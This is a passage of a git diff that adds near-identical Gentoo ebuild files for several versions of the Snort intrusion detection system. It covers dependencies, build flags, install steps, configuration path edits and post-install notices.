+ sed -i -e 's|/usr/local/lib|/usr/'$(get_libdir)'|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct rule location in the config
+ sed -i -e 's|RULE_PATH ../rules|RULE_PATH /etc/snort/rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct preprocessor/decoder rule location in the config
+ sed -i -e 's|PREPROC_RULE_PATH ../preproc_rules|PREPROC_RULE_PATH /etc/snort/preproc_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Enable the preprocessor/decoder rules
+ sed -i -e 's|^# include $PREPROC_RULE_PATH|include $PREPROC_RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^# dynamicdetection directory|dynamicdetection directory|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Just some clean up of trailing /'s in the config
+ sed -i -e 's|snort_dynamicpreprocessor/$|snort_dynamicpreprocessor|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Make it clear in the config where these are...
+ sed -i -e 's|^include classification.config|include /etc/snort/classification.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^include reference.config|include /etc/snort/reference.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable all rule files by default.
+ sed -i -e 's|^include $RULE_PATH|# include $RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable normalizer preprocessor config if normalizer USE flag not set.
+ if ! use normalizer; then
+ sed -i -e 's|^preprocessor normalize|#preprocessor normalize|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ fi
+
+ # Set the configured DAQ to afpacket
+ sed -i -e 's|^# config daq: <type>|config daq: afpacket|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the location of the DAQ modules
+ sed -i -e 's|^# config daq_dir: <dir>|config daq_dir: /usr/'$(get_libdir)'/daq|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the DAQ mode to passive
+ sed -i -e 's|^# config daq_mode: <mode>|config daq_mode: passive|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set snort to run as snort:snort
+ sed -i -e 's|^# config set_gid:|config set_gid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ sed -i -e 's|^# config set_uid:|config set_uid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the default log dir
+ sed -i -e 's|^# config logdir:|config logdir: /var/log/snort/|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct so_rule location in the config
+ sed -i -e 's|SO_RULE_PATH ../so_rules|SO_RULE_PATH /etc/snort/so_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+}
+
+pkg_postinst() {
+
+ einfo "There have been a number of improvements and new features"
+ einfo "added to ${P}. Please review the RELEASE.NOTES and"
+ einfo "ChangLog located in /usr/share/doc/${PF}."
+ einfo
+ elog "The Sourcefire Vulnerability Research Team (VRT) recommends that"
+ elog "users migrate their snort.conf customizations to the latest config"
+ elog "file released by the VRT. You can find the latest version of the"
+ elog "Snort config file in /etc/snort/snort.conf.distrib."
+ elog
+ elog "!! It is important that you migrate to this new snort.conf file !!"
+ elog
+ elog "This version of the ebuild includes an updated init.d file and"
+ elog "conf.d file that rely on options found in the latest Snort"
+ elog "config file provided by the VRT."
+
+ if use debug; then
+ elog "You have the 'debug' USE flag enabled. If this has been done to"
+ elog "troubleshoot an issue by producing a core dump or a back trace,"
+ elog "then you need to also ensure the FEATURES variable in make.conf"
+ elog "contains the 'nostrip' option."
+ fi
+}
diff --git a/net-analyzer/snort/snort-2.9.7.2.ebuild b/net-analyzer/snort/snort-2.9.7.2.ebuild
new file mode 100644
index 000000000000..dcc015235dbf
--- /dev/null
+++ b/net-analyzer/snort/snort-2.9.7.2.ebuild
@@ -0,0 +1,250 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+inherit autotools multilib user
+
+DESCRIPTION="The de facto standard for intrusion detection/prevention"
+HOMEPAGE="http://www.snort.org/"
+SRC_URI="https://www.snort.org/downloads/${PN}/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~mips ~ppc ~ppc64 ~sparc ~x86"
+IUSE="static +gre +mpls +targetbased +ppm +perfprofiling
++non-ether-decoders control-socket file-inspect high-availability
+shared-rep side-channel sourcefire linux-smp-stats inline-init-failopen
++threads debug +active-response +normalizer reload-error-restart
++react +flexresp3 large-pcap-64bit selinux"
+
+DEPEND=">=net-libs/libpcap-1.3.0
+ >=net-libs/daq-2.0.2
+ >=dev-libs/libpcre-8.33
+ dev-libs/libdnet
+ sys-libs/zlib"
+
+RDEPEND="${DEPEND}
+ selinux? ( sec-policy/selinux-snort )"
+
+REQUIRED_USE="!kernel_linux? ( !shared-rep )"
+
+pkg_setup() {
+
+ # pre_inst() is a better place to put this
+ # but we need it here for the 'fowners' statements in src_install()
+ enewgroup snort
+ enewuser snort -1 -1 /dev/null snort
+
+}
+
+src_prepare() {
+
+ # Multilib fix for the sf_engine
+ ebegin "Applying multilib fix"
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-plugins/sf_engine/Makefile.am" \
+ || die "sed for sf_engine failed"
+
+ # Multilib fix for the curent set of dynamic-preprocessors
+ for i in file ftptelnet smtp ssh dns ssl dcerpc2 sdf imap pop sip reputation gtp modbus dnp3; do
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-preprocessors/$i/Makefile.am" \
+ || die "sed for $i failed."
+ done
+ eend
+
+ AT_M4DIR=m4 eautoreconf
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable !static shared) \
+ $(use_enable static) \
+ $(use_enable static so-with-static-lib) \
+ $(use_enable gre) \
+ $(use_enable mpls) \
+ $(use_enable targetbased) \
+ $(use_enable control-socket) \
+ $(use_enable file-inspect) \
+ $(use_enable high-availability ha) \
+ $(use_enable non-ether-decoders) \
+ $(use_enable shared-rep) \
+ $(use_enable side-channel) \
+ $(use_enable sourcefire) \
+ $(use_enable ppm) \
+ $(use_enable perfprofiling) \
+ $(use_enable linux-smp-stats) \
+ $(use_enable inline-init-failopen) \
+ $(use_enable threads pthread) \
+ $(use_enable debug) \
+ $(use_enable debug debug-msgs) \
+ $(use_enable debug corefiles) \
+ $(use_enable !debug dlclose) \
+ $(use_enable active-response) \
+ $(use_enable normalizer) \
+ $(use_enable reload-error-restart) \
+ $(use_enable react) \
+ $(use_enable flexresp3) \
+ $(use_enable large-pcap-64bit large-pcap) \
+ --enable-reload \
+ --disable-build-dynamic-examples \
+ --disable-profile \
+ --disable-ppm-test \
+ --disable-intel-soft-cpm \
+ --disable-static-daq
+}
+
+src_install() {
+
+ emake DESTDIR="${D}" install
+
+ dodir /var/log/snort \
+ /var/run/snort \
+ /etc/snort/rules \
+ /etc/snort/so_rules \
+ /usr/$(get_libdir)/snort_dynamicrules
+
+ # config.log and build.log are needed by Sourcefire
+ # to trouble shoot build problems and bug reports so we are
+ # perserving them incase the user needs upstream support.
+ dodoc RELEASE.NOTES ChangeLog \
+ doc/* \
+ tools/u2boat/README.u2boat
+
+ insinto /etc/snort
+ doins etc/attribute_table.dtd \
+ etc/classification.config \
+ etc/gen-msg.map \
+ etc/reference.config \
+ etc/threshold.conf \
+ etc/unicode.map
+
+ # We use snort.conf.distrib because the config file is complicated
+ # and the one shipped with snort can change drastically between versions.
+ # Users should migrate setting by hand and not with etc-update.
+ newins etc/snort.conf snort.conf.distrib
+
+ # config.log and build.log are needed by Sourcefire
+ # to troubleshoot build problems and bug reports so we are
+ # preserving them incase the user needs upstream support.
+ if [ -f "${WORKDIR}/${PF}/config.log" ]; then
+ dodoc "${WORKDIR}/${PF}/config.log"
+ fi
+ if [ -f "${T}/build.log" ]; then
+ dodoc "${T}/build.log"
+ fi
+
+ insinto /etc/snort/preproc_rules
+ doins preproc_rules/decoder.rules \
+ preproc_rules/preprocessor.rules \
+ preproc_rules/sensitive-data.rules
+
+ fowners -R snort:snort \
+ /var/log/snort \
+ /var/run/snort \
+ /etc/snort
+
+ newinitd "${FILESDIR}/snort.rc12" snort
+ newconfd "${FILESDIR}/snort.confd.2" snort
+
+ # Sourcefire uses Makefiles to install docs causing Bug #297190.
+ # This removes the unwanted doc directory and rogue Makefiles.
+ rm -rf "${D}"usr/share/doc/snort || die "Failed to remove SF doc directories"
+ rm "${D}"usr/share/doc/"${PF}"/Makefile* || die "Failed to remove doc make files"
+
+ # Remove unneeded .la files (Bug #382863)
+ rm "${D}"usr/$(get_libdir)/snort_dynamicengine/libsf_engine.la || die
+ rm "${D}"usr/$(get_libdir)/snort_dynamicpreprocessor/libsf_*_preproc.la || die "Failed to remove libsf_?_preproc.la"
+
+ # Set the correct lib path for dynamicengine, dynamicpreprocessor, and dynamicdetection
+ sed -i -e 's|/usr/local/lib|/usr/'$(get_libdir)'|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct rule location in the config
+ sed -i -e 's|RULE_PATH ../rules|RULE_PATH /etc/snort/rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct preprocessor/decoder rule location in the config
+ sed -i -e 's|PREPROC_RULE_PATH ../preproc_rules|PREPROC_RULE_PATH /etc/snort/preproc_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Enable the preprocessor/decoder rules
+ sed -i -e 's|^# include $PREPROC_RULE_PATH|include $PREPROC_RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^# dynamicdetection directory|dynamicdetection directory|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Just some clean up of trailing /'s in the config
+ sed -i -e 's|snort_dynamicpreprocessor/$|snort_dynamicpreprocessor|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Make it clear in the config where these are...
+ sed -i -e 's|^include classification.config|include /etc/snort/classification.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^include reference.config|include /etc/snort/reference.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable all rule files by default.
+ sed -i -e 's|^include $RULE_PATH|# include $RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable normalizer preprocessor config if normalizer USE flag not set.
+ if ! use normalizer; then
+ sed -i -e 's|^preprocessor normalize|#preprocessor normalize|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ fi
+
+ # Set the configured DAQ to afpacket
+ sed -i -e 's|^# config daq: <type>|config daq: afpacket|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the location of the DAQ modules
+ sed -i -e 's|^# config daq_dir: <dir>|config daq_dir: /usr/'$(get_libdir)'/daq|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the DAQ mode to passive
+ sed -i -e 's|^# config daq_mode: <mode>|config daq_mode: passive|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set snort to run as snort:snort
+ sed -i -e 's|^# config set_gid:|config set_gid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ sed -i -e 's|^# config set_uid:|config set_uid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the default log dir
+ sed -i -e 's|^# config logdir:|config logdir: /var/log/snort/|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct so_rule location in the config
+ sed -i -e 's|SO_RULE_PATH ../so_rules|SO_RULE_PATH /etc/snort/so_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+}
+
+pkg_postinst() {
+
+ einfo "There have been a number of improvements and new features"
+ einfo "added to ${P}. Please review the RELEASE.NOTES and"
+ einfo "ChangLog located in /usr/share/doc/${PF}."
+ einfo
+ elog "The Sourcefire Vulnerability Research Team (VRT) recommends that"
+ elog "users migrate their snort.conf customizations to the latest config"
+ elog "file released by the VRT. You can find the latest version of the"
+ elog "Snort config file in /etc/snort/snort.conf.distrib."
+ elog
+ elog "!! It is important that you migrate to this new snort.conf file !!"
+ elog
+ elog "This version of the ebuild includes an updated init.d file and"
+ elog "conf.d file that rely on options found in the latest Snort"
+ elog "config file provided by the VRT."
+
+ if use debug; then
+ elog "You have the 'debug' USE flag enabled. If this has been done to"
+ elog "troubleshoot an issue by producing a core dump or a back trace,"
+ elog "then you need to also ensure the FEATURES variable in make.conf"
+ elog "contains the 'nostrip' option."
+ fi
+}
diff --git a/net-analyzer/snort/snort-2.9.7.3.ebuild b/net-analyzer/snort/snort-2.9.7.3.ebuild
new file mode 100644
index 000000000000..dcc015235dbf
--- /dev/null
+++ b/net-analyzer/snort/snort-2.9.7.3.ebuild
@@ -0,0 +1,250 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+inherit autotools multilib user
+
+DESCRIPTION="The de facto standard for intrusion detection/prevention"
+HOMEPAGE="http://www.snort.org/"
+SRC_URI="https://www.snort.org/downloads/${PN}/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~mips ~ppc ~ppc64 ~sparc ~x86"
+IUSE="static +gre +mpls +targetbased +ppm +perfprofiling
++non-ether-decoders control-socket file-inspect high-availability
+shared-rep side-channel sourcefire linux-smp-stats inline-init-failopen
++threads debug +active-response +normalizer reload-error-restart
++react +flexresp3 large-pcap-64bit selinux"
+
+DEPEND=">=net-libs/libpcap-1.3.0
+ >=net-libs/daq-2.0.2
+ >=dev-libs/libpcre-8.33
+ dev-libs/libdnet
+ sys-libs/zlib"
+
+RDEPEND="${DEPEND}
+ selinux? ( sec-policy/selinux-snort )"
+
+REQUIRED_USE="!kernel_linux? ( !shared-rep )"
+
+pkg_setup() {
+
+ # pre_inst() is a better place to put this
+ # but we need it here for the 'fowners' statements in src_install()
+ enewgroup snort
+ enewuser snort -1 -1 /dev/null snort
+
+}
+
+src_prepare() {
+
+ # Multilib fix for the sf_engine
+ ebegin "Applying multilib fix"
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-plugins/sf_engine/Makefile.am" \
+ || die "sed for sf_engine failed"
+
+ # Multilib fix for the curent set of dynamic-preprocessors
+ for i in file ftptelnet smtp ssh dns ssl dcerpc2 sdf imap pop sip reputation gtp modbus dnp3; do
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-preprocessors/$i/Makefile.am" \
+ || die "sed for $i failed."
+ done
+ eend
+
+ AT_M4DIR=m4 eautoreconf
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable !static shared) \
+ $(use_enable static) \
+ $(use_enable static so-with-static-lib) \
+ $(use_enable gre) \
+ $(use_enable mpls) \
+ $(use_enable targetbased) \
+ $(use_enable control-socket) \
+ $(use_enable file-inspect) \
+ $(use_enable high-availability ha) \
+ $(use_enable non-ether-decoders) \
+ $(use_enable shared-rep) \
+ $(use_enable side-channel) \
+ $(use_enable sourcefire) \
+ $(use_enable ppm) \
+ $(use_enable perfprofiling) \
+ $(use_enable linux-smp-stats) \
+ $(use_enable inline-init-failopen) \
+ $(use_enable threads pthread) \
+ $(use_enable debug) \
+ $(use_enable debug debug-msgs) \
+ $(use_enable debug corefiles) \
+ $(use_enable !debug dlclose) \
+ $(use_enable active-response) \
+ $(use_enable normalizer) \
+ $(use_enable reload-error-restart) \
+ $(use_enable react) \
+ $(use_enable flexresp3) \
+ $(use_enable large-pcap-64bit large-pcap) \
+ --enable-reload \
+ --disable-build-dynamic-examples \
+ --disable-profile \
+ --disable-ppm-test \
+ --disable-intel-soft-cpm \
+ --disable-static-daq
+}
+
+src_install() {
+
+ emake DESTDIR="${D}" install
+
+ dodir /var/log/snort \
+ /var/run/snort \
+ /etc/snort/rules \
+ /etc/snort/so_rules \
+ /usr/$(get_libdir)/snort_dynamicrules
+
+ # config.log and build.log are needed by Sourcefire
+ # to trouble shoot build problems and bug reports so we are
+ # perserving them incase the user needs upstream support.
+ dodoc RELEASE.NOTES ChangeLog \
+ doc/* \
+ tools/u2boat/README.u2boat
+
+ insinto /etc/snort
+ doins etc/attribute_table.dtd \
+ etc/classification.config \
+ etc/gen-msg.map \
+ etc/reference.config \
+ etc/threshold.conf \
+ etc/unicode.map
+
+ # We use snort.conf.distrib because the config file is complicated
+ # and the one shipped with snort can change drastically between versions.
+ # Users should migrate setting by hand and not with etc-update.
+ newins etc/snort.conf snort.conf.distrib
+
+ # config.log and build.log are needed by Sourcefire
+ # to troubleshoot build problems and bug reports so we are
+ # preserving them incase the user needs upstream support.
+ if [ -f "${WORKDIR}/${PF}/config.log" ]; then
+ dodoc "${WORKDIR}/${PF}/config.log"
+ fi
+ if [ -f "${T}/build.log" ]; then
+ dodoc "${T}/build.log"
+ fi
+
+ insinto /etc/snort/preproc_rules
+ doins preproc_rules/decoder.rules \
+ preproc_rules/preprocessor.rules \
+ preproc_rules/sensitive-data.rules
+
+ fowners -R snort:snort \
+ /var/log/snort \
+ /var/run/snort \
+ /etc/snort
+
+ newinitd "${FILESDIR}/snort.rc12" snort
+ newconfd "${FILESDIR}/snort.confd.2" snort
+
+ # Sourcefire uses Makefiles to install docs causing Bug #297190.
+ # This removes the unwanted doc directory and rogue Makefiles.
+ rm -rf "${D}"usr/share/doc/snort || die "Failed to remove SF doc directories"
+ rm "${D}"usr/share/doc/"${PF}"/Makefile* || die "Failed to remove doc make files"
+
+ # Remove unneeded .la files (Bug #382863)
+ rm "${D}"usr/$(get_libdir)/snort_dynamicengine/libsf_engine.la || die
+ rm "${D}"usr/$(get_libdir)/snort_dynamicpreprocessor/libsf_*_preproc.la || die "Failed to remove libsf_?_preproc.la"
+
+ # Set the correct lib path for dynamicengine, dynamicpreprocessor, and dynamicdetection
+ sed -i -e 's|/usr/local/lib|/usr/'$(get_libdir)'|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct rule location in the config
+ sed -i -e 's|RULE_PATH ../rules|RULE_PATH /etc/snort/rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct preprocessor/decoder rule location in the config
+ sed -i -e 's|PREPROC_RULE_PATH ../preproc_rules|PREPROC_RULE_PATH /etc/snort/preproc_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Enable the preprocessor/decoder rules
+ sed -i -e 's|^# include $PREPROC_RULE_PATH|include $PREPROC_RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^# dynamicdetection directory|dynamicdetection directory|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Just some clean up of trailing /'s in the config
+ sed -i -e 's|snort_dynamicpreprocessor/$|snort_dynamicpreprocessor|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Make it clear in the config where these are...
+ sed -i -e 's|^include classification.config|include /etc/snort/classification.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^include reference.config|include /etc/snort/reference.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable all rule files by default.
+ sed -i -e 's|^include $RULE_PATH|# include $RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable normalizer preprocessor config if normalizer USE flag not set.
+ if ! use normalizer; then
+ sed -i -e 's|^preprocessor normalize|#preprocessor normalize|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ fi
+
+ # Set the configured DAQ to afpacket
+ sed -i -e 's|^# config daq: <type>|config daq: afpacket|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the location of the DAQ modules
+ sed -i -e 's|^# config daq_dir: <dir>|config daq_dir: /usr/'$(get_libdir)'/daq|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the DAQ mode to passive
+ sed -i -e 's|^# config daq_mode: <mode>|config daq_mode: passive|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set snort to run as snort:snort
+ sed -i -e 's|^# config set_gid:|config set_gid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ sed -i -e 's|^# config set_uid:|config set_uid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the default log dir
+ sed -i -e 's|^# config logdir:|config logdir: /var/log/snort/|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct so_rule location in the config
+ sed -i -e 's|SO_RULE_PATH ../so_rules|SO_RULE_PATH /etc/snort/so_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+}
+
+pkg_postinst() {
+
+ einfo "There have been a number of improvements and new features"
+ einfo "added to ${P}. Please review the RELEASE.NOTES and"
+ einfo "ChangLog located in /usr/share/doc/${PF}."
+ einfo
+ elog "The Sourcefire Vulnerability Research Team (VRT) recommends that"
+ elog "users migrate their snort.conf customizations to the latest config"
+ elog "file released by the VRT. You can find the latest version of the"
+ elog "Snort config file in /etc/snort/snort.conf.distrib."
+ elog
+ elog "!! It is important that you migrate to this new snort.conf file !!"
+ elog
+ elog "This version of the ebuild includes an updated init.d file and"
+ elog "conf.d file that rely on options found in the latest Snort"
+ elog "config file provided by the VRT."
+
+ if use debug; then
+ elog "You have the 'debug' USE flag enabled. If this has been done to"
+ elog "troubleshoot an issue by producing a core dump or a back trace,"
+ elog "then you need to also ensure the FEATURES variable in make.conf"
+ elog "contains the 'nostrip' option."
+ fi
+}
diff --git a/net-analyzer/snort/snort-2.9.7.5.ebuild b/net-analyzer/snort/snort-2.9.7.5.ebuild
new file mode 100644
index 000000000000..dcc015235dbf
--- /dev/null
+++ b/net-analyzer/snort/snort-2.9.7.5.ebuild
@@ -0,0 +1,250 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+inherit autotools multilib user
+
+DESCRIPTION="The de facto standard for intrusion detection/prevention"
+HOMEPAGE="http://www.snort.org/"
+SRC_URI="https://www.snort.org/downloads/${PN}/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~mips ~ppc ~ppc64 ~sparc ~x86"
+IUSE="static +gre +mpls +targetbased +ppm +perfprofiling
++non-ether-decoders control-socket file-inspect high-availability
+shared-rep side-channel sourcefire linux-smp-stats inline-init-failopen
++threads debug +active-response +normalizer reload-error-restart
++react +flexresp3 large-pcap-64bit selinux"
+
+DEPEND=">=net-libs/libpcap-1.3.0
+ >=net-libs/daq-2.0.2
+ >=dev-libs/libpcre-8.33
+ dev-libs/libdnet
+ sys-libs/zlib"
+
+RDEPEND="${DEPEND}
+ selinux? ( sec-policy/selinux-snort )"
+
+REQUIRED_USE="!kernel_linux? ( !shared-rep )"
+
+pkg_setup() {
+
+ # pre_inst() is a better place to put this
+ # but we need it here for the 'fowners' statements in src_install()
+ enewgroup snort
+ enewuser snort -1 -1 /dev/null snort
+
+}
+
+src_prepare() {
+
+ # Multilib fix for the sf_engine
+ ebegin "Applying multilib fix"
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-plugins/sf_engine/Makefile.am" \
+ || die "sed for sf_engine failed"
+
+ # Multilib fix for the curent set of dynamic-preprocessors
+ for i in file ftptelnet smtp ssh dns ssl dcerpc2 sdf imap pop sip reputation gtp modbus dnp3; do
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-preprocessors/$i/Makefile.am" \
+ || die "sed for $i failed."
+ done
+ eend
+
+ AT_M4DIR=m4 eautoreconf
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable !static shared) \
+ $(use_enable static) \
+ $(use_enable static so-with-static-lib) \
+ $(use_enable gre) \
+ $(use_enable mpls) \
+ $(use_enable targetbased) \
+ $(use_enable control-socket) \
+ $(use_enable file-inspect) \
+ $(use_enable high-availability ha) \
+ $(use_enable non-ether-decoders) \
+ $(use_enable shared-rep) \
+ $(use_enable side-channel) \
+ $(use_enable sourcefire) \
+ $(use_enable ppm) \
+ $(use_enable perfprofiling) \
+ $(use_enable linux-smp-stats) \
+ $(use_enable inline-init-failopen) \
+ $(use_enable threads pthread) \
+ $(use_enable debug) \
+ $(use_enable debug debug-msgs) \
+ $(use_enable debug corefiles) \
+ $(use_enable !debug dlclose) \
+ $(use_enable active-response) \
+ $(use_enable normalizer) \
+ $(use_enable reload-error-restart) \
+ $(use_enable react) \
+ $(use_enable flexresp3) \
+ $(use_enable large-pcap-64bit large-pcap) \
+ --enable-reload \
+ --disable-build-dynamic-examples \
+ --disable-profile \
+ --disable-ppm-test \
+ --disable-intel-soft-cpm \
+ --disable-static-daq
+}
+
+src_install() {
+
+ emake DESTDIR="${D}" install
+
+ dodir /var/log/snort \
+ /var/run/snort \
+ /etc/snort/rules \
+ /etc/snort/so_rules \
+ /usr/$(get_libdir)/snort_dynamicrules
+
+ # config.log and build.log are needed by Sourcefire
+ # to trouble shoot build problems and bug reports so we are
+ # perserving them incase the user needs upstream support.
+ dodoc RELEASE.NOTES ChangeLog \
+ doc/* \
+ tools/u2boat/README.u2boat
+
+ insinto /etc/snort
+ doins etc/attribute_table.dtd \
+ etc/classification.config \
+ etc/gen-msg.map \
+ etc/reference.config \
+ etc/threshold.conf \
+ etc/unicode.map
+
+ # We use snort.conf.distrib because the config file is complicated
+ # and the one shipped with snort can change drastically between versions.
+ # Users should migrate setting by hand and not with etc-update.
+ newins etc/snort.conf snort.conf.distrib
+
+ # config.log and build.log are needed by Sourcefire
+ # to troubleshoot build problems and bug reports so we are
+ # preserving them incase the user needs upstream support.
+ if [ -f "${WORKDIR}/${PF}/config.log" ]; then
+ dodoc "${WORKDIR}/${PF}/config.log"
+ fi
+ if [ -f "${T}/build.log" ]; then
+ dodoc "${T}/build.log"
+ fi
+
+ insinto /etc/snort/preproc_rules
+ doins preproc_rules/decoder.rules \
+ preproc_rules/preprocessor.rules \
+ preproc_rules/sensitive-data.rules
+
+ fowners -R snort:snort \
+ /var/log/snort \
+ /var/run/snort \
+ /etc/snort
+
+ newinitd "${FILESDIR}/snort.rc12" snort
+ newconfd "${FILESDIR}/snort.confd.2" snort
+
+ # Sourcefire uses Makefiles to install docs causing Bug #297190.
+ # This removes the unwanted doc directory and rogue Makefiles.
+ rm -rf "${D}"usr/share/doc/snort || die "Failed to remove SF doc directories"
+ rm "${D}"usr/share/doc/"${PF}"/Makefile* || die "Failed to remove doc make files"
+
+ # Remove unneeded .la files (Bug #382863)
+ rm "${D}"usr/$(get_libdir)/snort_dynamicengine/libsf_engine.la || die
+ rm "${D}"usr/$(get_libdir)/snort_dynamicpreprocessor/libsf_*_preproc.la || die "Failed to remove libsf_?_preproc.la"
+
+ # Set the correct lib path for dynamicengine, dynamicpreprocessor, and dynamicdetection
+ sed -i -e 's|/usr/local/lib|/usr/'$(get_libdir)'|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct rule location in the config
+ sed -i -e 's|RULE_PATH ../rules|RULE_PATH /etc/snort/rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct preprocessor/decoder rule location in the config
+ sed -i -e 's|PREPROC_RULE_PATH ../preproc_rules|PREPROC_RULE_PATH /etc/snort/preproc_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Enable the preprocessor/decoder rules
+ sed -i -e 's|^# include $PREPROC_RULE_PATH|include $PREPROC_RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^# dynamicdetection directory|dynamicdetection directory|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Just some clean up of trailing /'s in the config
+ sed -i -e 's|snort_dynamicpreprocessor/$|snort_dynamicpreprocessor|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Make it clear in the config where these are...
+ sed -i -e 's|^include classification.config|include /etc/snort/classification.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^include reference.config|include /etc/snort/reference.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable all rule files by default.
+ sed -i -e 's|^include $RULE_PATH|# include $RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable normalizer preprocessor config if normalizer USE flag not set.
+ if ! use normalizer; then
+ sed -i -e 's|^preprocessor normalize|#preprocessor normalize|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ fi
+
+ # Set the configured DAQ to afpacket
+ sed -i -e 's|^# config daq: <type>|config daq: afpacket|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the location of the DAQ modules
+ sed -i -e 's|^# config daq_dir: <dir>|config daq_dir: /usr/'$(get_libdir)'/daq|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the DAQ mode to passive
+ sed -i -e 's|^# config daq_mode: <mode>|config daq_mode: passive|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set snort to run as snort:snort
+ sed -i -e 's|^# config set_gid:|config set_gid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
